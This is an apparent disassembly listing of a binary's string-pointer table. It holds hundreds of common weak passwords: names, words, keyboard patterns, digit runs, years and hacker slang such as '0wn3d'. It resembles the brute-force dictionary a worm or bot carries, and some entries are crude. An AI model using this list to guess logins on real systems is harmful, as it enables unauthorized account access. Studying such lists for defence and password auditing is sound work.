dd offset aRoach ; "roach"
dd offset aRobert ; "robert"
dd offset aRobin ; "robin"
dd offset aRobot ; "robot"
dd offset aRobotics ; "robotics"
dd offset aRobyn ; "robyn"
dd offset aRochelle ; "rochelle"
dd offset aRocheste ; "rocheste"
dd offset aRock ; "rock"
dd offset aRocky ; "rocky"
dd offset aRockyhor ; "rockyhor"
dd offset aRodent ; "rodent"
dd offset aRolex ; "rolex"
dd offset aRomano ; "romano"
dd offset aRomeo ; "romeo"
dd offset aRomulan ; "romulan"
dd offset aRonald ; "ronald"
dd offset aRose ; "rose"
dd offset aRosebud ; "rosebud"
dd offset aRosemary ; "rosemary"
dd offset aRoses ; "roses"
dd offset aRough ; "rough"
dd offset aRubber ; "rubber"
dd offset aRuben ; "ruben"
dd offset aRuby ; "ruby"
dd offset aRude ; "rude"
dd offset aRules ; "rules"
dd offset aRunning ; "running"
dd offset aRush ; "rush"
dd offset aRuth ; "ruth"
dd offset aSafe ; "safe"
dd offset aSalami ; "salami"
dd offset aSale ; "sale"
dd offset aSalt ; "salt"
dd offset aSamantha ; "samantha"
dd offset aSample ; "sample"
dd offset aSandra ; "sandra"
dd offset aSandy ; "sandy"
dd offset aSara ; "sara"
dd offset aSarah ; "sarah"
dd offset aSaturday ; "saturday"
dd offset aSaturn ; "saturn"
dd offset aSaxon ; "saxon"
dd offset aScamper ; "scamper"
dd offset aScheme ; "scheme"
dd offset aSchool ; "school"
dd offset aSchoolsucks ; "schoolsucks"
dd offset aScifi ; "scifi"
dd offset aScorpion ; "scorpion"
dd offset aScott ; "scott"
dd offset aScotty ; "scotty"
dd offset aScout ; "scout"
dd offset aSearch ; "search"
dd offset aSecurity ; "security"
dd offset aSeed ; "seed"
dd offset aSega ; "sega"
dd offset aSensor ; "sensor"
dd offset aSentinel ; "sentinel"
dd offset aSentry ; "sentry"
dd offset aSerenity ; "serenity"
dd offset aSerial ; "serial"
dd offset aService ; "service"
dd offset aSesame ; "sesame"
dd offset aSexy ; "sexy"
dd offset aShannon ; "shannon"
dd offset aSharc ; "sharc"
dd offset aShark ; "shark"
dd offset aSharks ; "sharks"
dd offset aSharon ; "sharon"
dd offset aSheffiel ; "sheffiel"
dd offset aSheldon ; "sheldon"
dd offset aShell ; "shell"
dd offset aSherri ; "sherri"
dd offset aShift ; "shift"
dd offset aShirley ; "shirley"
dd offset aShit ; "shit"
dd offset aShitpot ; "shitpot"
dd offset aShiva ; "shiva"
dd offset aShivers ; "shivers"
dd offset aShort ; "short"
dd offset aShuttle ; "shuttle"
dd offset aSick ; "sick"
dd offset aSierra ; "sierra"
dd offset aSignatur ; "signatur"
dd offset aSilver ; "silver"
dd offset aSimcity ; "simcity"
dd offset aSimon ; "simon"
dd offset aSimple ; "simple"
dd offset aSimpsons ; "simpsons"
dd offset aSimulati ; "simulati"
dd offset aSinger ; "singer"
dd offset aSingle ; "single"
dd offset aSite ; "site"
dd offset aSkull ; "skull"
dd offset aSlave ; "slave"
dd offset aSlick ; "slick"
dd offset aSliders ; "sliders"
dd offset aSlow ; "slow"
dd offset aSlut ; "slut"
dd offset aSmall ; "small"
dd offset aSmart ; "smart"
dd offset aSmile ; "smile"
dd offset aSmiles ; "smiles"
dd offset aSmooch ; "smooch"
dd offset aSmother ; "smother"
dd offset aSmtp ; "smtp"
dd offset aSmut ; "smut"
dd offset aSnach ; "snach"
dd offset aSnafu ; "snafu"
dd offset aSnake ; "snake"
dd offset aSnatch ; "snatch"
dd offset aSnoopy ; "snoopy"
dd offset aSoap ; "soap"
dd offset aSocial ; "social"
dd offset aSocrates ; "socrates"
dd offset aSodomy ; "sodomy"
dd offset aSoft ; "soft"
dd offset aSoftware ; "software"
dd offset aSomebody ; "somebody"
dd offset aSondra ; "sondra"
dd offset aSonia ; "sonia"
dd offset aSonic ; "sonic"
dd offset aSonya ; "sonya"
dd offset aSossina ; "sossina"
dd offset aSource ; "source"
dd offset aSouth ; "south"
dd offset aSpaceshi ; "spaceshi"
dd offset aSparrows ; "sparrows"
dd offset aSpear ; "spear"
dd offset aSpell ; "spell"
dd offset aSpice ; "spice"
dd offset aSpider ; "spider"
dd offset aSpiderma ; "spiderma"
dd offset aSpit ; "spit"
dd offset aSpred ; "spred"
dd offset aSpring ; "spring"
dd offset aSpringer ; "springer"
dd offset aSpunk ; "spunk"
dd offset aSquires ; "squires"
dd offset aSr71 ; "sr71"
dd offset aStacey ; "stacey"
dd offset aStaci ; "staci"
dd offset aStacie ; "stacie"
dd offset aStacy ; "stacy"
dd offset aStar ; "star"
dd offset aStarship ; "starship"
dd offset aStart ; "start"
dd offset aStartrek ; "startrek"
dd offset aStartup ; "startup"
dd offset aStarwars ; "starwars"
dd offset aSteak ; "steak"
dd offset aSteal ; "steal"
dd offset aSteel ; "steel"
dd offset aSteph ; "steph"
dd offset aStephani ; "stephani"
dd offset aStereo ; "stereo"
dd offset aSteve ; "steve"
dd offset aStoneage ; "stoneage"
dd offset aStoned ; "stoned"
dd offset aStones ; "stones"
dd offset aStrange ; "strange"
dd offset aStrangle ; "strangle"
dd offset aStratfor ; "stratfor"
dd offset aStreetfi ; "streetfi"
dd offset aString ; "string"
dd offset aStrip ; "strip"
dd offset aStudent ; "student"
dd offset aStuttgar ; "stuttgar"
dd offset aSubscrib ; "subscrib"
dd offset aSubway ; "subway"
dd offset aSuccess ; "success"
dd offset aSuck ; "suck"
dd offset aSuckmydi ; "suckmydi"
dd offset aSucks ; "sucks"
dd offset aSummer ; "summer"
dd offset aSunday ; "sunday"
dd offset aSuperman ; "superman"
dd offset aSuperson ; "superson"
dd offset aSupersta ; "supersta"
dd offset aSuperuse ; "superuse"
dd offset aSupervis ; "supervis"
dd offset aSupport ; "support"
dd offset aSupporte ; "supporte"
dd offset aSurfer ; "surfer"
dd offset aSurfing ; "surfing"
dd offset aSusan ; "susan"
dd offset aSusanne ; "susanne"
dd offset aSusie ; "susie"
dd offset aSuzanne ; "suzanne"
dd offset aSuzie ; "suzie"
dd offset aSwearer ; "swearer"
dd offset aSweat ; "sweat"
dd offset aSwitch ; "switch"
dd offset aSword ; "sword"
dd offset aSybil ; "sybil"
dd offset aSymmetry ; "symmetry"
dd offset aSysadmin ; "sysadmin"
dd offset aSysop ; "sysop"
dd offset aTabasco ; "tabasco"
dd offset aTalk ; "talk"
dd offset aTall ; "tall"
dd offset aTamara ; "tamara"
dd offset aTami ; "tami"
dd offset aTamie ; "tamie"
dd offset aTammy ; "tammy"
dd offset aTangerin ; "tangerin"
dd offset aTango ; "tango"
dd offset aTape ; "tape"
dd offset aTara ; "tara"
dd offset aTarget ; "target"
dd offset aTarragon ; "tarragon"
dd offset aTaylor ; "taylor"
dd offset aTeacher ; "teacher"
dd offset aTeam ; "team"
dd offset aTeapot ; "teapot"
dd offset aTears ; "tears"
dd offset aTech ; "tech"
dd offset aTeen ; "teen"
dd offset aTeenage ; "teenage"
dd offset aTelephon ; "telephon"
dd offset aTelnet ; "telnet"
dd offset aTemptati ; "temptati"
dd offset aTennis ; "tennis"
dd offset aTera ; "tera"
dd offset aTerminal ; "terminal"
dd offset aTerminat ; "terminat"
dd offset aTess ; "tess"
dd offset aTetris ; "tetris"
dd offset aText ; "text"
dd offset aThailand ; "thailand"
dd offset aTheresa ; "theresa"
dd offset aThin ; "thin"
dd offset aThursday ; "thursday"
dd offset aTiffany ; "tiffany"
dd offset aTiger ; "tiger"
dd offset aTime ; "time"
dd offset aTina ; "tina"
dd offset aTits ; "tits"
dd offset aToad ; "toad"
dd offset aToggle ; "toggle"
dd offset aToken ; "token"
dd offset aTokenrin ; "tokenrin"
dd offset aTomato ; "tomato"
dd offset aTopograp ; "topograp"
dd offset aTortoise ; "tortoise"
dd offset aToxic ; "toxic"
dd offset aToyota ; "toyota"
dd offset aTraci ; "traci"
dd offset aTracie ; "tracie"
dd offset aTracy ; "tracy"
dd offset aTrails ; "trails"
dd offset aTransfer ; "transfer"
dd offset aTrap ; "trap"
dd offset aTrapdoor ; "trapdoor"
dd offset aTree ; "tree"
dd offset aTrek ; "trek"
dd offset aTrisha ; "trisha"
dd offset aTrivial ; "trivial"
dd offset aTrojan ; "trojan"
dd offset aTrombone ; "trombone"
dd offset aTron ; "tron"
dd offset aTrue ; "true"
dd offset aTruth ; "truth"
dd offset aTubas ; "tubas"
dd offset aTuesday ; "tuesday"
dd offset aTurn ; "turn"
dd offset aTuttle ; "tuttle"
dd offset aUgly ; "ugly"
dd offset aUmesh ; "umesh"
dd offset aUncle ; "uncle"
dd offset aUndo ; "undo"
dd offset aUnhappy ; "unhappy"
dd offset aUnicorn ; "unicorn"
dd offset aUniform ; "uniform"
dd offset aUniversa ; "universa"
dd offset aUniverse ; "universe"
dd offset aUniversi ; "universi"
dd offset aUnknown_0 ; "unknown"
dd offset aUnlock ; "unlock"
dd offset aUpload ; "upload"
dd offset aUranus ; "uranus"
dd offset aUrchin ; "urchin"
dd offset aUrsula ; "ursula"
dd offset aUsenet ; "usenet"
dd offset aUsermane ; "usermane"
dd offset aUsername ; "username"
dd offset aUsmc ; "usmc"
dd offset aUtil ; "util"
dd offset aUtility ; "utility"
dd offset aUucp ; "uucp"
dd offset aVagina ; "vagina"
dd offset aValerie ; "valerie"
dd offset aVampire ; "vampire"
dd offset aVasant ; "vasant"
dd offset aVenus ; "venus"
dd offset aVeronica ; "veronica"
dd offset aVertigo ; "vertigo"
dd offset aVicky ; "vicky"
dd offset aVictor ; "victor"
dd offset aVideo ; "video"
dd offset aVideogam ; "videogam"
dd offset aVillage ; "village"
dd offset aVirgin ; "virgin"
dd offset aVirginia ; "virginia"
dd offset aVirus ; "virus"
dd offset aVisitor ; "visitor"
dd offset aVisual ; "visual"
dd offset aVisualba ; "visualba"
dd offset aVodka ; "vodka"
dd offset aWaco ; "waco"
dd offset aWard ; "ward"
dd offset aWarez ; "warez"
dd offset aWarfare ; "warfare"
dd offset aWargames ; "wargames"
dd offset aWarp ; "warp"
dd offset aWarren ; "warren"
dd offset aWasp ; "wasp"
dd offset aWatchwor ; "watchwor"
dd offset aWater ; "water"
dd offset aWave ; "wave"
dd offset aWebpage ; "webpage"
dd offset aWednesda ; "wednesda"
dd offset aWeed ; "weed"
dd offset aWeenie ; "weenie"
dd offset aWell ; "well"
dd offset aWendi ; "wendi"
dd offset aWendy ; "wendy"
dd offset aWerewolf ; "werewolf"
dd offset aWest ; "west"
dd offset aWestern ; "western"
dd offset aWhatever ; "whatever"
dd offset aWhatnot ; "whatnot"
dd offset aWhisky ; "whisky"
dd offset aWhite ; "white"
dd offset aWhiting ; "whiting"
dd offset aWhitney ; "whitney"
dd offset aWholesal ; "wholesal"
dd offset aWhore ; "whore"
dd offset aWill ; "will"
dd offset aWilliam ; "william"
dd offset aWilliams ; "williams"
dd offset aWillie ; "willie"
dd offset aWilma ; "wilma"
dd offset aWindows ; "windows"
dd offset aWine ; "wine"
dd offset aWing ; "wing"
dd offset aWinston ; "winston"
dd offset aWired ; "wired"
dd offset aWisconsi ; "wisconsi"
dd offset aWiseass ; "wiseass"
dd offset aWithin ; "within"
dd offset aWizard ; "wizard"
dd offset aWolf ; "wolf"
dd offset aWolverin ; "wolverin"
dd offset aWoman ; "woman"
dd offset aWombat ; "wombat"
dd offset aWomen ; "women"
dd offset aWood ; "wood"
dd offset aWoodwind ; "woodwind"
dd offset aWord ; "word"
dd offset aWordperf ; "wordperf"
dd offset aWorf ; "worf"
dd offset aWork ; "work"
dd offset aWorm ; "worm"
dd offset aWormwood ; "wormwood"
dd offset aWwii ; "wwii"
dd offset aWyoming ; "wyoming"
dd offset aXena ; "xena"
dd offset aXfer ; "xfer"
dd offset aXman ; "xman"
dd offset aXmen ; "xmen"
dd offset aXmodem ; "xmodem"
dd offset aXray ; "xray"
dd offset aXyzzy ; "xyzzy"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aYankee ; "yankee"
dd offset aYellow ; "yellow"
dd offset aYellowst ; "yellowst"
dd offset aYolanda ; "yolanda"
dd offset aYosemite ; "yosemite"
dd offset aYoung ; "young"
dd offset aZebra ; "zebra"
dd offset aZeitgeis ; "zeitgeis"
dd offset aZiggy ; "ziggy"
dd offset aZimmerma ; "zimmerma"
dd offset aZmodem ; "zmodem"
dd offset aZombie ; "zombie"
dd offset aZulu ; "zulu"
dd offset a00000000 ; "00000000"
dd offset aTester ; "tester"
dd offset aTestin ; "testin"
dd offset aRoss ; "Ross"
dd offset aRosco ; "Rosco"
dd offset aRoscop ; "RoscoP"
dd offset aRoscopcoltrane ; "RoscoPColtrane"
dd offset aLol ; "lol"
dd offset aD00d ; "d00d"
dd offset aDudette ; "dudette"
dd offset aDud3 ; "dud3"
dd offset aAl3x ; "Al3x"
dd offset aAlexander ; "Alexander"
dd offset aDonaldduck ; "donaldduck"
dd offset aWileecoyote ; "wileecoyote"
dd offset aWindowz ; "windowz"
dd offset aWindoze ; "windoze"
dd offset aWindose ; "windose"
dd offset aBilly ; "billy"
dd offset aM_0 ; "M$"
dd offset aMs ; "MS"
dd offset aWindowsxp ; "WindowsXP"
dd offset aWindows2k ; "windows2k"
dd offset aWindowsme ; "windowsME"
dd offset aWindows98 ; "windows98"
dd offset aWindows95 ; "windows95"
dd offset aWindozexp ; "windozexp"
dd offset aWindoze2k ; "windoze2k"
dd offset aWindozeme ; "windozeME"
dd offset aWindoze98 ; "windoze98"
dd offset aWindoze95 ; "windoze95"
dd offset aWh0r3 ; "wh0r3"
dd offset aHo ; "ho"
dd offset aWh0re ; "wh0re"
dd offset aHax ; "hax"
dd offset aHaxing ; "haxing"
dd offset aH4x1ng ; "h4x1ng"
dd offset aH4x0r1ng ; "h4x0r1ng"
dd offset aH4x0ring ; "h4x0ring"
dd offset aAda ; "ada"
dd offset aAlbatross ; "albatross"
dd offset aAlf ; "alf"
dd offset aAma ; "ama"
dd offset aAmorphous ; "amorphous"
dd offset aAmy ; "amy"
dd offset aAndromache ; "andromache"
dd offset aAnn ; "ann"
dd offset aAnthropogenic ; "anthropogenic"
dd offset aAsd ; "asd"
dd offset aAsm ; "asm"
dd offset aAtmosphere ; "atmosphere"
dd offset aBeethoven ; "beethoven"
dd offset aBicameral ; "bicameral"
dd offset aBob ; "bob"
dd offset aBsd ; "bsd"
dd offset aCad ; "cad"
dd offset aCampanile ; "campanile"
dd offset aCat ; "cat"
dd offset aCatherine ; "catherine"
dd offset aChemistry ; "chemistry"
dd offset aChristina ; "christina"
dd offset aChristine ; "christine"
dd offset aCommrades ; "commrades"
dd offset aCornelius ; "cornelius"
dd offset aDeb ; "deb"
dd offset aDesperate ; "desperate"
dd offset aDiscovery ; "discovery"
dd offset aDog ; "dog"
dd offset aDos ; "dos"
dd offset aEdinburgh ; "edinburgh"
dd offset aEiderdown ; "eiderdown"
dd offset aElizabeth ; "elizabeth"
dd offset aEnterprise ; "enterprise"
dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
dd offset aFoolproof ; "foolproof"
dd offset aForesight ; "foresight"
dd offset aFun ; "fun"
dd offset aGnu ; "gnu"
dd offset aHal ; "hal"
dd offset aHappening ; "happening"
dd offset aIbm ; "ibm"
dd offset aImbroglio ; "imbroglio"
dd offset aInnocuous ; "innocuous"
dd offset aJen ; "jen"
dd offset aJoy ; "joy"
dd offset aKey ; "key"
dd offset aKim ; "kim"
dd offset aLamination ; "lamination"
dd offset aLee ; "lee"
dd offset aLiz ; "liz"
dd offset aMacintosh ; "macintosh"
dd offset aMgr ; "mgr"
dd offset aMit ; "mit"
dd offset aNet ; "net"
dd offset aNew ; "new"
dd offset aNutrition ; "nutrition"
dd offset aOceanography ; "oceanography"
dd offset aPad ; "pad"
dd offset aPam ; "pam"
dd offset aPercolate ; "percolate"
dd offset aPersimmon ; "persimmon"
dd offset aPolynomial ; "polynomial"
dd offset aPondering ; "pondering"
dd offset aPrinceton ; "princeton"
dd offset aProfessor ; "professor"
dd offset aPub ; "pub"
dd offset aRachmaninoff ; "rachmaninoff"
dd offset aRje ; "rje"
dd offset aRochester ; "rochester"
dd offset aSal ; "sal"
dd offset aSheffield ; "sheffield"
dd offset aSignature ; "signature"
dd offset aStephanie ; "stephanie"
dd offset aStratford ; "stratford"
dd offset aStuttgart ; "stuttgart"
dd offset aSun ; "sun"
dd offset aSuperstage ; "superstage"
dd offset aSuperuser ; "superuser"
dd offset aSupported ; "supported"
dd offset aSys ; "sys"
dd offset aTangerine ; "tangerine"
dd offset aTelephone ; "telephone"
dd offset aTemptation ; "temptation"
dd offset aTopography ; "topography"
dd offset aTty ; "tty"
dd offset aWholesale ; "wholesale"
dd offset aWilliamsburg ; "williamsburg"
dd offset aWisconsin ; "wisconsin"
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset aZap ; "zap"
dd offset aZimmerman ; "zimmerman"
dd offset dword_426260
dd offset dword_42625C
dd offset dword_426258
dd offset dword_426254
dd offset dword_42624C
dd offset dword_426244
dd offset dword_42623C
dd offset dword_426230
dd offset loc_41F1BB+1
dd offset dword_42622C
dd offset off_426228
dd offset a@_6 ; "@"
dd offset a@@ ; "@@"
dd offset asc_42621C ; "+"
dd offset asc_426218 ; "++"
dd offset asc_426214 ; "+++"
dd offset asc_42620C ; "++++"
dd offset asc_426208 ; "-"
dd offset asc_426204 ; "--"
dd offset asc_426204 ; "--"
dd offset asc_4261FC ; "----"
dd offset asc_4261F8 ; "-+"
dd offset asc_4261F0 ; "--++"
dd offset a0 ; "=-0"
dd offset a789_0 ; "789+"
dd offset a456_0 ; "456+"
dd offset asc_4261D8 ; "$"
dd offset asc_4261D4 ; "$$"
dd offset asc_4261D0 ; "$$$"
dd offset a@_5 ; "*&^%$#@!"
dd offset a@_4 ; "&^%$#@!"
dd offset a@_3 ; "^%$#@!"
dd offset a@_2 ; "%$#@!"
dd offset a@_1 ; "$#@!"
dd offset a@_0 ; "#@!"
dd offset a@ ; "@!"
dd offset dword_41F1D0
dd offset a00 ; "00"
dd offset a000 ; "000"
dd offset a0000 ; "0000"
dd offset a00000 ; "00000"
dd offset a000000 ; "000000"
dd offset a00000000 ; "00000000"
dd offset a000000000 ; "000000000"
dd offset a0000000000 ; "0000000000"
dd offset asc_41F960 ; "*"
dd offset asc_426180 ; "**"
dd offset asc_42617C ; "***"
dd offset asc_426174 ; "****"
dd offset asc_42616C ; "*****"
dd offset asc_426164 ; "******"
dd offset asc_42615C ; "*******"
dd offset asc_426150 ; "********"
dd offset asc_426144 ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_1 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
dd offset aQwertyu ; "qwertyu"
dd offset aQwertyui ; "qwertyui"
dd offset aQwertyuio ; "qwertyuio"
dd offset aQwertyuiop ; "qwertyuiop"
dd offset aRoot ; "root"
dd offset aServer_0 ; "server"
dd offset aService ; "service"
dd offset aServers ; "servers"
dd offset aServices ; "services"
dd offset aSystem ; "system"
dd offset aSystem_0 ; "SYSTEM"
dd offset aChi_0 ; "CHI"
dd offset aChi ; "chi"
dd offset aKor_0 ; "kor"
dd offset aTiger ; "tiger"
dd offset aKor ; "KOR"
dd offset aToyota_0 ; "TOYOTA"
dd offset aToyota ; "toyota"
dd offset asc_429AE0 ; "x"
dd offset aXx ; "xx"
dd offset aXxx ; "xxx"
dd offset aXxxx ; "xxxx"
dd offset aXxxxx ; "xxxxx"
dd offset aXxxxxx ; "xxxxxx"
dd offset aXxxxxxx ; "xxxxxxx"
dd offset aXxxxxxxx ; "xxxxxxxx"
dd offset aXxxxxxxxx ; "xxxxxxxxx"
dd offset aXyz ; "xyz"
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC ; "c"
dd offset aCc ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd_0 ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
dd offset aFfff ; "ffff"
dd offset aFffff ; "fffff"
dd offset aE ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
dd offset aEeeee ; "eeeee"
dd offset aEeeeee ; "eeeeee"
dd offset aG ; "g"
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_425954 ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_0 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_4258C4 ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
